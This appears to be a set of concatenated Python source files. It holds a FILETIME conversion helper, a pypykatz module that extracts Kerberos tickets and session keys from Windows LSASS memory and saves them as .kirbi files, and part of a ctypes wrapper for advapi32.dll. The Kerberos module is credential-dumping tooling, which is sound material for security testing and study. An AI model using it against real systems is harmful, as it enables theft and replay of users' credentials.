53 utc = UTC()
54
55
56 def dt_to_filetime(dt):
57 """Converts a datetime to Microsoft filetime format. If the object is
58 time zone-naive, it is forced to UTC before conversion.
59
60 >>> "%.0f" % dt_to_filetime(datetime(2009, 7, 25, 23, 0))
61 '128930364000000000'
62
63 >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0, tzinfo=utc))
64 116444736000000000L
65
66 >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0))
67 116444736000000000L
68 """
69 if (dt.tzinfo is None) or (dt.tzinfo.utcoffset(dt) is None):
70 dt = dt.replace(tzinfo=utc)
71 return EPOCH_AS_FILETIME + (timegm(dt.timetuple()) * HUNDREDS_OF_NANOSECONDS)
72
73
74 def filetime_to_dt(ft):
75 """Converts a Microsoft filetime number to a Python datetime. The new
76 datetime object is time zone-naive but is equivalent to tzinfo=utc.
77 >>> filetime_to_dt(116444736000000000)
78 datetime.datetime(1970, 1, 1, 0, 0)
79
80 >>> filetime_to_dt(128930364000000000)
81 datetime.datetime(2009, 7, 25, 23, 0)
82 """
83 return datetime.fromtimestamp((ft - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS, tz=utc)
84
85
86 if __name__ == "__main__":
87 import doctest
88
89 doctest.testmod()
90
91
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import datetime
7 from asn1crypto import core
8 from pypykatz.commons.filetime import filetime_to_dt
9 from pypykatz.commons.common import WindowsBuild, GenericReader
10 from pypykatz.commons.win_datatypes import LSAISO_DATA_BLOB, ENC_LSAISO_DATA_BLOB
11 from minikerberos.protocol.asn1_structs import EncryptionKey, PrincipalName, \
12 TicketFlags, KrbCredInfo, krb5_pvno, EncryptedData, KRBCRED, Ticket, \
13 EncKrbCredPart
14 from minikerberos.protocol.constants import NAME_TYPE, MESSAGE_TYPE, EncryptionType
15
16 import enum
17 import os
18 import hashlib
19
20 class KerberosTicketType(enum.Enum):
21 TGT = enum.auto()
22 TGS = enum.auto()
23 CLIENT = enum.auto() #?
24
25 class KerberosSessionKey:
26 def __init__(self):
27 self.keydata = None
28 self.sessionkey = None
29
30 @staticmethod
31 def parse(key_struct, sysinfo):
32 ksk = KerberosSessionKey()
33 ksk.keydata = key_struct.Data
34
35 if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value or key_struct.Length < LSAISO_DATA_BLOB.size:
36 ksk.sessionkey = ksk.keydata
37 else:
38 reader = GenericReader(ksk.keydata, processor_architecture = sysinfo.architecture)
39 if key_struct.Length <= (LSAISO_DATA_BLOB.size + len("KerberosKey")-1 + 32) :
40 blob = LSAISO_DATA_BLOB(reader)
41 blob.Data = reader.read(-1)
42 else:
43 blob = ENC_LSAISO_DATA_BLOB(reader)
44 blob.Data = reader.read(-1)
45
46 ksk.sessionkey = blob.Data
47 return ksk
48
49 class KerberosTicket:
50 def __init__(self):
51 self.type = None
52 self.ServiceName = None
53 self.ServiceName_type = None
54 self.DomainName = None
55 self.ETargetName = None
56 self.ETargetName_type = None
57 self.TargetDomainName = None
58 self.EClientName = None
59 self.EClientName_type = None
60 self.AltTargetDomainName = None
61 self.Description = None
62
63 self.StartTime = None
64 self.EndTime = None
65 self.RenewUntil = None
66
67 self.KeyType = None
68 self.Key = None
69
70 self.TicketFlags = None
71 self.TicketEncType = None
72 self.TicketKvno = None
73 self.Ticket = None
74
75 self.kirbi_data = {}
76 self.session_key = None
77
78 #def generate_filename(self):
79 # return '%s@%s_%s' % ('-'.join(self.EClientName) , '-'.join(self.ServiceName), hashlib.sha1(self.Ticket).hexdigest()[:8])
80
81 def to_dict(self):
82 #not sure if anyone would need this, so only parts will be shown
83 t = {}
84 t['type'] = self.type
85 t['ServiceName'] = self.ServiceName
86 t['DomainName'] = self.DomainName
87 t['ETargetName'] = self.ETargetName
88 t['TargetDomainName'] = self.TargetDomainName
89 t['EClientName'] = self.EClientName
90 t['AltTargetDomainName'] = self.AltTargetDomainName
91 t['StartTime'] = self.StartTime
92 t['EndTime'] = self.EndTime
93 t['RenewUntil'] = self.RenewUntil
94 t['KeyType'] = self.KeyType
95 t['Key'] = self.Key
96
97 return t
98
99
100 def to_asn1(self):
101 krbcredinfo = {}
102 krbcredinfo['key'] = EncryptionKey({'keytype': self.KeyType, 'keyvalue':self.Key})
103 krbcredinfo['prealm'] = self.AltTargetDomainName
104 krbcredinfo['pname'] = PrincipalName({'name-type': self.EClientName_type, 'name-string':self.EClientName})
105 krbcredinfo['flags'] = core.IntegerBitString(self.TicketFlags).cast(TicketFlags)
106 krbcredinfo['starttime'] = self.StartTime
107 krbcredinfo['endtime'] = self.EndTime
108 krbcredinfo['renew-till'] = self.RenewUntil
109 krbcredinfo['srealm'] = self.DomainName
110 krbcredinfo['sname'] = PrincipalName({'name-type': self.ServiceName_type, 'name-string':self.ServiceName})
111
112 enc_krbcred = {}
113 enc_krbcred['ticket-info'] = [KrbCredInfo(krbcredinfo)]
114
115 ticket = {}
116 ticket['tkt-vno'] = krb5_pvno
117 ticket['realm'] = self.DomainName
118 ticket['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string':self.ServiceName})
119 ticket['enc-part'] = EncryptedData({'etype': self.TicketEncType, 'kvno': self.TicketKvno, 'cipher': self.Ticket})
120
121 krbcred = {}
122 krbcred['pvno'] = krb5_pvno
123 krbcred['msg-type'] = MESSAGE_TYPE.KRB_CRED.value
124 krbcred['tickets'] = [Ticket(ticket)]
125 krbcred['enc-part'] = EncryptedData({'etype': EncryptionType.NULL.value, 'cipher': EncKrbCredPart(enc_krbcred).dump()})
126
127 return KRBCRED(krbcred)
128
129 @staticmethod
130 def parse(kerberos_ticket, reader, sysinfo, type = None):
131 kt = KerberosTicket()
132 kt.type = type
133 kt.ServiceName_type = kerberos_ticket.ServiceName.read(reader).NameType
134 kt.ServiceName = kerberos_ticket.ServiceName.read(reader).read(reader)
135 kt.DomainName = kerberos_ticket.DomainName.read_string(reader)
136 if kerberos_ticket.TargetName.read(reader):
137 kt.ETargetName = kerberos_ticket.TargetName.read(reader).read(reader)
138 kt.ETargetName_type = kerberos_ticket.TargetName.read(reader).NameType
139 kt.TargetDomainName = kerberos_ticket.TargetDomainName.read_string(reader)
140 kt.EClientName = kerberos_ticket.ClientName.read(reader).read(reader)
141 kt.EClientName_type = kerberos_ticket.ClientName.read(reader).NameType
142 kt.AltTargetDomainName = kerberos_ticket.AltTargetDomainName.read_string(reader)
143 kt.Description = kerberos_ticket.Description.read_string(reader)
144
145 kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime)
146 kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime)
147 if kerberos_ticket.RenewUntil == 0:
148 kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc)
149 else:
150 kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil)
151
152 kt.KeyType = kerberos_ticket.KeyType
153 kt.Key = kerberos_ticket.Key.read(reader)
154 kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo)
155
156 kt.TicketFlags = kerberos_ticket.TicketFlags
157 kt.TicketEncType = kerberos_ticket.TicketEncType
158 kt.TicketKvno = kerberos_ticket.TicketKvno
159 kt.Ticket = kerberos_ticket.Ticket.read(reader)
160
161 kirbi = kt.to_asn1()
162 kt.kirbi_data[kt.generate_filename()] = kirbi
163
164 return kt
165
166 def generate_filename(self):
167 t = '%s' % ('_'.join([self.type.name, self.DomainName, '_'.join(self.EClientName), '_'.join(self.ServiceName), hashlib.sha1(self.Ticket).hexdigest()[:8]]))
168 return '%s.kirbi' % t.replace('..','!')
169
170 def to_kirbi(self, dir):
171 for filename in self.kirbi_data:
172 with open(os.path.join(dir, filename), 'wb') as f:
173 f.write(self.kirbi_data[filename].dump())
174
175 def __str__(self):
176 t = '== Kerberos Ticket ==\n'
177 t += 'Type: %s\n'% self.type
178 t += 'ServiceName: %s\n'% self.ServiceName
179 t += 'DomainName: %s\n'% self.DomainName
180 t += 'ETargetName: %s\n'% self.ETargetName
181 t += 'TargetDomainName: %s\n'% self.TargetDomainName
182 t += 'EClientName: %s\n'% self.EClientName
183 t += 'AltTargetDomainName: %s\n'% self.AltTargetDomainName
184 t += 'Description: %s\n'% self.Description
185 t += 'StartTime: %s\n'% self.StartTime.isoformat()
186 t += 'EndTime: %s\n'% self.EndTime.isoformat()
187 t += 'RenewUntil: %s\n'% self.RenewUntil.isoformat()
188 t += 'KeyType: %s\n'% self.KeyType
189 t += 'Key: %s\n'% self.Key.hex()
190 t += 'TicketFlags: %s\n'% self.TicketFlags
191 t += 'TicketEncType: %s\n'% self.TicketEncType
192 t += 'TicketKvno: %s\n'% self.TicketKvno
193 t += 'Ticket: %s\n'% self.Ticket.hex()
194 t += 'SessionKey: %s\n'% self.session_key.sessionkey.hex()
195
196 return t
197
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2018, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Wrapper for advapi32.dll in ctypes.
32 """
33
34 from .defines import * # NOQA
35 from .kernel32 import * # NOQA
36
37 # XXX TODO
38 # + add transacted registry operations
39
40 #==============================================================================
41 # This is used later on to calculate the list of exported symbols.
42 _all = None
43 _all = set(vars().keys())
44 #==============================================================================
45
46 #--- Constants ----------------------------------------------------------------
47
48 # Privilege constants
49 SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
50 SE_AUDIT_NAME = "SeAuditPrivilege"
51 SE_BACKUP_NAME = "SeBackupPrivilege"
52 SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
53 SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"
54 SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
55 SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
56 SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege"
57 SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
58 SE_DEBUG_NAME = "SeDebugPrivilege"
59 SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"
60 SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"
61 SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
62 SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
63 SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege"
64 SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
65 SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
66 SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
67 SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"
68 SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
69 SE_RELABEL_NAME = "SeRelabelPrivilege"
70 SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
71 SE_RESTORE_NAME = "SeRestorePrivilege"
72 SE_SECURITY_NAME = "SeSecurityPrivilege"
73 SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
74 SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"
75 SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
76 SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
77 SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
78 SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
79 SE_TCB_NAME = "SeTcbPrivilege"
80 SE_TIME_ZONE_NAME = "SeTimeZonePrivilege"
81 SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"
82 SE_UNDOCK_NAME = "SeUndockPrivilege"
83 SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
84
85 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001
86 SE_PRIVILEGE_ENABLED = 0x00000002
87 SE_PRIVILEGE_REMOVED = 0x00000004
88 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
89
90 TOKEN_ADJUST_PRIVILEGES = 0x00000020
91
92 LOGON_WITH_PROFILE = 0x00000001
93 LOGON_NETCREDENTIALS_ONLY = 0x00000002
94
95 # Token access rights
96 TOKEN_ASSIGN_PRIMARY = 0x0001
97 TOKEN_DUPLICATE = 0x0002
98 TOKEN_IMPERSONATE = 0x0004
99 TOKEN_QUERY = 0x0008
100 TOKEN_QUERY_SOURCE = 0x0010
101 TOKEN_ADJUST_PRIVILEGES = 0x0020
102 TOKEN_ADJUST_GROUPS = 0x0040
103 TOKEN_ADJUST_DEFAULT = 0x0080
104 TOKEN_ADJUST_SESSIONID = 0x0100
105 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
106 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
107 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
108 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
109 TOKEN_ADJUST_SESSIONID)
110
111 # Predefined HKEY values
112 HKEY_CLASSES_ROOT = 0x80000000
113 HKEY_CURRENT_USER = 0x80000001
114 HKEY_LOCAL_MACHINE = 0x80000002
115 HKEY_USERS = 0x80000003
116 HKEY_PERFORMANCE_DATA = 0x80000004
117 HKEY_CURRENT_CONFIG = 0x80000005
118
119 # Registry access rights
120 KEY_ALL_ACCESS = 0xF003F
121 KEY_CREATE_LINK = 0x0020
122 KEY_CREATE_SUB_KEY = 0x0004
123 KEY_ENUMERATE_SUB_KEYS = 0x0008
124 KEY_EXECUTE = 0x20019
125 KEY_NOTIFY = 0x0010
126 KEY_QUERY_VALUE = 0x0001
127 KEY_READ = 0x20019
128 KEY_SET_VALUE = 0x0002
129 KEY_WOW64_32KEY = 0x0200
130 KEY_WOW64_64KEY = 0x0100
131 KEY_WRITE = 0x20006
132
133 # Registry value types
134 REG_NONE = 0
135 REG_SZ = 1
136 REG_EXPAND_SZ = 2
137 REG_BINARY = 3
138 REG_DWORD = 4
139 REG_DWORD_LITTLE_ENDIAN = REG_DWORD
140 REG_DWORD_BIG_ENDIAN = 5
141 REG_LINK = 6
142 REG_MULTI_SZ = 7
143 REG_RESOURCE_LIST = 8
144 REG_FULL_RESOURCE_DESCRIPTOR = 9
145 REG_RESOURCE_REQUIREMENTS_LIST = 10
146 REG_QWORD = 11
147 REG_QWORD_LITTLE_ENDIAN = REG_QWORD
148
149 #--- TOKEN_PRIVILEGE structure ------------------------------------------------
150
151 # typedef struct _LUID {
152 # DWORD LowPart;
153 # LONG HighPart;
154 # } LUID,
155 # *PLUID;
156 class LUID(Structure):
157 _fields_ = [
158 ("LowPart", DWORD),
159 ("HighPart", LONG),
160 ]
161
162 PLUID = POINTER(LUID)
163
164 # typedef struct _LUID_AND_ATTRIBUTES {
165 # LUID Luid;
166 # DWORD Attributes;
167 # } LUID_AND_ATTRIBUTES,
168 # *PLUID_AND_ATTRIBUTES;
169 class LUID_AND_ATTRIBUTES(Structure):
170 _fields_ = [
171 ("Luid", LUID),
172 ("Attributes", DWORD),
173 ]
174
175 # typedef struct _TOKEN_PRIVILEGES {
176 # DWORD PrivilegeCount;
177 # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
178 # } TOKEN_PRIVILEGES,
179 # *PTOKEN_PRIVILEGES;
180 class TOKEN_PRIVILEGES(Structure):
181 _fields_ = [
182 ("PrivilegeCount", DWORD),
183 ## ("Privileges", LUID_AND_ATTRIBUTES * ANYSIZE_ARRAY),
184 ("Privileges", LUID_AND_ATTRIBUTES),
185 ]
186 # See comments on AdjustTokenPrivileges about this structure
187
188 PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
189
190 #--- GetTokenInformation enums and structures ---------------------------------
191
192 # typedef enum _TOKEN_INFORMATION_CLASS {
193 # TokenUser = 1,
194 # TokenGroups,
195 # TokenPrivileges,
196 # TokenOwner,
197 # TokenPrimaryGroup,
198 # TokenDefaultDacl,
199 # TokenSource,
200 # TokenType,
201 # TokenImpersonationLevel,
202 # TokenStatistics,
203 # TokenRestrictedSids,
204 # TokenSessionId,
205 # TokenGroupsAndPrivileges,
206 # TokenSessionReference,
207 # TokenSandBoxInert,
208 # TokenAuditPolicy,
209 # TokenOrigin,
210 # TokenElevationType,
211 # TokenLinkedToken,
212 # TokenElevation,
213 # TokenHasRestrictions,
214 # TokenAccessInformation,
215 # TokenVirtualizationAllowed,
216 # TokenVirtualizationEnabled,
217 # TokenIntegrityLevel,
218 # TokenUIAccess,
219 # TokenMandatoryPolicy,
220 # TokenLogonSid,
221 # TokenIsAppContainer,
222 # TokenCapabilities,
223 # TokenAppContainerSid,
224 # TokenAppContainerNumber,
225 # TokenUserClaimAttributes,
226 # TokenDeviceClaimAttributes,
227 # TokenRestrictedUserClaimAttributes,
228 # TokenRestrictedDeviceClaimAttributes,
229 # TokenDeviceGroups,
230 # TokenRestrictedDeviceGroups,
231 # TokenSecurityAttributes,
232 # TokenIsRestricted,
233 # MaxTokenInfoClass
234 # } TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS;
235
236 TOKEN_INFORMATION_CLASS = ctypes.c_int
237
238 TokenUser = 1
239 TokenGroups = 2
240 TokenPrivileges = 3
241 TokenOwner = 4
242 TokenPrimaryGroup = 5
243 TokenDefaultDacl = 6
244 TokenSource = 7
245 TokenType = 8
246 TokenImpersonationLevel = 9
247 TokenStatistics = 10
248 TokenRestrictedSids = 11
249 TokenSessionId = 12
250 TokenGroupsAndPrivileges = 13
251 TokenSessionReference = 14
252 TokenSandBoxInert = 15
253 TokenAuditPolicy = 16
254 TokenOrigin = 17
255 TokenElevationType = 18
256 TokenLinkedToken = 19
257 TokenElevation = 20
258 TokenHasRestrictions = 21
259 TokenAccessInformation = 22
260 TokenVirtualizationAllowed = 23
261 TokenVirtualizationEnabled = 24
262 TokenIntegrityLevel = 25
263 TokenUIAccess = 26
264 TokenMandatoryPolicy = 27
265 TokenLogonSid = 28
266 TokenIsAppContainer = 29
267 TokenCapabilities = 30
268 TokenAppContainerSid = 31
269 TokenAppContainerNumber = 32
270 TokenUserClaimAttributes = 33
271 TokenDeviceClaimAttributes = 34
272 TokenRestrictedUserClaimAttributes = 35
273 TokenRestrictedDeviceClaimAttributes = 36
274 TokenDeviceGroups = 37
275 TokenRestrictedDeviceGroups = 38
276 TokenSecurityAttributes = 39
277 TokenIsRestricted = 40
278 MaxTokenInfoClass = 41
279
280 # typedef enum tagTOKEN_TYPE {
281 # TokenPrimary = 1,
282 # TokenImpersonation
283 # } TOKEN_TYPE, *PTOKEN_TYPE;
284
285 TOKEN_TYPE = ctypes.c_int
286 PTOKEN_TYPE = POINTER(TOKEN_TYPE)
287
288 TokenPrimary = 1
289 TokenImpersonation = 2
290
291 # typedef enum {
292 # TokenElevationTypeDefault = 1,
293 # TokenElevationTypeFull,
294 # TokenElevationTypeLimited
295 # } TOKEN_ELEVATION_TYPE , *PTOKEN_ELEVATION_TYPE;
296
297 TokenElevationTypeDefault = 1
298 TokenElevationTypeFull = 2
299 TokenElevationTypeLimited = 3
300
301 TOKEN_ELEVATION_TYPE = ctypes.c_int
302 PTOKEN_ELEVATION_TYPE = POINTER(TOKEN_ELEVATION_TYPE)
303
304 # typedef enum _SECURITY_IMPERSONATION_LEVEL {
305 # SecurityAnonymous,
306 # SecurityIdentification,
307 # SecurityImpersonation,
308 # SecurityDelegation
309 # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL;
310
311 SecurityAnonymous = 0
312 SecurityIdentification = 1
313 SecurityImpersonation = 2
314 SecurityDelegation = 3
315
316 SECURITY_IMPERSONATION_LEVEL = ctypes.c_int
317 PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL)
318
319 # typedef struct _SID_AND_ATTRIBUTES {
320 # PSID Sid;
321 # DWORD Attributes;
322 # } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;
323 class SID_AND_ATTRIBUTES(Structure):
324 _fields_ = [
325 ("Sid", PSID),
326 ("Attributes", DWORD),
327 ]
328 PSID_AND_ATTRIBUTES = POINTER(SID_AND_ATTRIBUTES)
329
330 # typedef struct _TOKEN_USER {
331 # SID_AND_ATTRIBUTES User;
332 # } TOKEN_USER, *PTOKEN_USER;
333 class TOKEN_USER(Structure):
334 _fields_ = [
335 ("User", SID_AND_ATTRIBUTES),
336 ]
337 PTOKEN_USER = POINTER(TOKEN_USER)
338
339 # typedef struct _TOKEN_MANDATORY_LABEL {
340 # SID_AND_ATTRIBUTES Label;
341 # } TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;
342 class TOKEN_MANDATORY_LABEL(Structure):
343 _fields_ = [
344 ("Label", SID_AND_ATTRIBUTES),
345 ]
346 PTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL)
347
348 # typedef struct _TOKEN_OWNER {
349 # PSID Owner;
350 # } TOKEN_OWNER, *PTOKEN_OWNER;
351 class TOKEN_OWNER(Structure):
352 _fields_ = [
353 ("Owner", PSID),
354 ]
355 PTOKEN_OWNER = POINTER(TOKEN_OWNER)
356
357 # typedef struct _TOKEN_PRIMARY_GROUP {
358 # PSID PrimaryGroup;
359 # } TOKEN_PRIMARY_GROUP, *PTOKEN_PRIMARY_GROUP;
360 class TOKEN_PRIMARY_GROUP(Structure):
361 _fields_ = [
362 ("PrimaryGroup", PSID),
363 ]
364 PTOKEN_PRIMARY_GROUP = POINTER(TOKEN_PRIMARY_GROUP)
365
366 # typedef struct _TOKEN_APPCONTAINER_INFORMATION {
367 # PSID TokenAppContainer;
368 # } TOKEN_APPCONTAINER_INFORMATION, *PTOKEN_APPCONTAINER_INFORMATION;
369 class TOKEN_APPCONTAINER_INFORMATION(Structure):
370 _fields_ = [
371 ("TokenAppContainer", PSID),
372 ]
373 PTOKEN_APPCONTAINER_INFORMATION = POINTER(TOKEN_APPCONTAINER_INFORMATION)
374
375 # typedef struct _TOKEN_ORIGIN {
376 # LUID OriginatingLogonSession;
377 # } TOKEN_ORIGIN, *PTOKEN_ORIGIN;
378 class TOKEN_ORIGIN(Structure):
379 _fields_ = [
380 ("OriginatingLogonSession", LUID),
381 ]
382 PTOKEN_ORIGIN = POINTER(TOKEN_ORIGIN)
383
384 # typedef struct _TOKEN_LINKED_TOKEN {
385 # HANDLE LinkedToken;
386 # } TOKEN_LINKED_TOKEN, *PTOKEN_LINKED_TOKEN;
387 class TOKEN_LINKED_TOKEN(Structure):
388 _fields_ = [
389 ("LinkedToken", HANDLE),
390 ]
391 PTOKEN_LINKED_TOKEN = POINTER(TOKEN_LINKED_TOKEN)
392
393 # typedef struct _TOKEN_STATISTICS {
394 # LUID TokenId;
395 # LUID AuthenticationId;
396 # LARGE_INTEGER ExpirationTime;
397 # TOKEN_TYPE TokenType;
398 # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
399 # DWORD DynamicCharged;
400 # DWORD DynamicAvailable;
401 # DWORD GroupCount;
402 # DWORD PrivilegeCount;
403 # LUID ModifiedId;
404 # } TOKEN_STATISTICS, *PTOKEN_STATISTICS;
405 class TOKEN_STATISTICS(Structure):
406 _fields_ = [
407 ("TokenId", LUID),
408 ("AuthenticationId", LUID),
409 ("ExpirationTime", LONGLONG), # LARGE_INTEGER
410 ("TokenType", TOKEN_TYPE),
411 ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL),
412 ("DynamicCharged", DWORD),
413 ("DynamicAvailable", DWORD),
414 ("GroupCount", DWORD),
415 ("PrivilegeCount", DWORD),
416 ("ModifiedId", LUID),
417 ]
418 PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS)
419
420 #--- SID_NAME_USE enum --------------------------------------------------------
421
422 # typedef enum _SID_NAME_USE {
423 # SidTypeUser = 1,
424 # SidTypeGroup,
425 # SidTypeDomain,
426 # SidTypeAlias,
427 # SidTypeWellKnownGroup,
428 # SidTypeDeletedAccount,
429 # SidTypeInvalid,
430 # SidTypeUnknown,
431 # SidTypeComputer,
432 # SidTypeLabel
433 # } SID_NAME_USE, *PSID_NAME_USE;
434
435 SidTypeUser = 1
436 SidTypeGroup = 2
437 SidTypeDomain = 3
438 SidTypeAlias = 4
439 SidTypeWellKnownGroup = 5
440 SidTypeDeletedAccount = 6
441 SidTypeInvalid = 7
442 SidTypeUnknown = 8
443 SidTypeComputer = 9
444 SidTypeLabel = 10
445
446 #--- WAITCHAIN_NODE_INFO structure and types ----------------------------------
447
448 WCT_MAX_NODE_COUNT = 16
449 WCT_OBJNAME_LENGTH = 128
450 WCT_ASYNC_OPEN_FLAG = 1
451 WCTP_OPEN_ALL_FLAGS = WCT_ASYNC_OPEN_FLAG
452 WCT_OUT_OF_PROC_FLAG = 1
453 WCT_OUT_OF_PROC_COM_FLAG = 2
454 WCT_OUT_OF_PROC_CS_FLAG = 4
455 WCTP_GETINFO_ALL_FLAGS = WCT_OUT_OF_PROC_FLAG | WCT_OUT_OF_PROC_COM_FLAG | WCT_OUT_OF_PROC_CS_FLAG
456
457 HWCT = LPVOID
458
459 # typedef enum _WCT_OBJECT_TYPE
460 # {
461 # WctCriticalSectionType = 1,
462 # WctSendMessageType,
463 # WctMutexType,
464 # WctAlpcType,
465 # WctComType,
466 # WctThreadWaitType,
467 # WctProcessWaitType,
468 # WctThreadType,
469 # WctComActivationType,
470 # WctUnknownType,
471 # WctMaxType
472 # } WCT_OBJECT_TYPE;
473
474 WCT_OBJECT_TYPE = DWORD
475
476 WctCriticalSectionType = 1
477 WctSendMessageType = 2
478 WctMutexType = 3
479 WctAlpcType = 4
480 WctComType = 5
481 WctThreadWaitType = 6
482 WctProcessWaitType = 7
483 WctThreadType = 8
484 WctComActivationType = 9
485 WctUnknownType = 10
486 WctMaxType = 11
487
488 # typedef enum _WCT_OBJECT_STATUS
489 # {
490 # WctStatusNoAccess = 1, // ACCESS_DENIED for this object
491 # WctStatusRunning, // Thread status
492 # WctStatusBlocked, // Thread status
493 # WctStatusPidOnly, // Thread status
494 # WctStatusPidOnlyRpcss, // Thread status
495 # WctStatusOwned, // Dispatcher object status
496 # WctStatusNotOwned, // Dispatcher object status
497 # WctStatusAbandoned, // Dispatcher object status
498 # WctStatusUnknown, // All objects
499 # WctStatusError, // All objects
500 # WctStatusMax
501 # } WCT_OBJECT_STATUS;
502
503 WCT_OBJECT_STATUS = DWORD
504
505 WctStatusNoAccess = 1 # ACCESS_DENIED for this object
506 WctStatusRunning = 2 # Thread status
507 WctStatusBlocked = 3 # Thread status
508 WctStatusPidOnly = 4 # Thread status
509 WctStatusPidOnlyRpcss = 5 # Thread status
510 WctStatusOwned = 6 # Dispatcher object status
511 WctStatusNotOwned = 7 # Dispatcher object status
512 WctStatusAbandoned = 8 # Dispatcher object status
513 WctStatusUnknown = 9 # All objects
514 WctStatusError = 10 # All objects
515 WctStatusMax = 11
516
517 # typedef struct _WAITCHAIN_NODE_INFO {
518 # WCT_OBJECT_TYPE ObjectType;
519 # WCT_OBJECT_STATUS ObjectStatus;
520 # union {
521 # struct {
522 # WCHAR ObjectName[WCT_OBJNAME_LENGTH];
523 # LARGE_INTEGER Timeout;
524 # BOOL Alertable;
525 # } LockObject;
526 # struct {
527 # DWORD ProcessId;
528 # DWORD ThreadId;
529 # DWORD WaitTime;
530 # DWORD ContextSwitches;
531 # } ThreadObject;
532 # } ;
533 # }WAITCHAIN_NODE_INFO, *PWAITCHAIN_NODE_INFO;
534
535 class _WAITCHAIN_NODE_INFO_STRUCT_1(Structure):
536 _fields_ = [
537 ("ObjectName", WCHAR * WCT_OBJNAME_LENGTH),
538 ("Timeout", LONGLONG), # LARGE_INTEGER
539 ("Alertable", BOOL),
540 ]
541
542 class _WAITCHAIN_NODE_INFO_STRUCT_2(Structure):
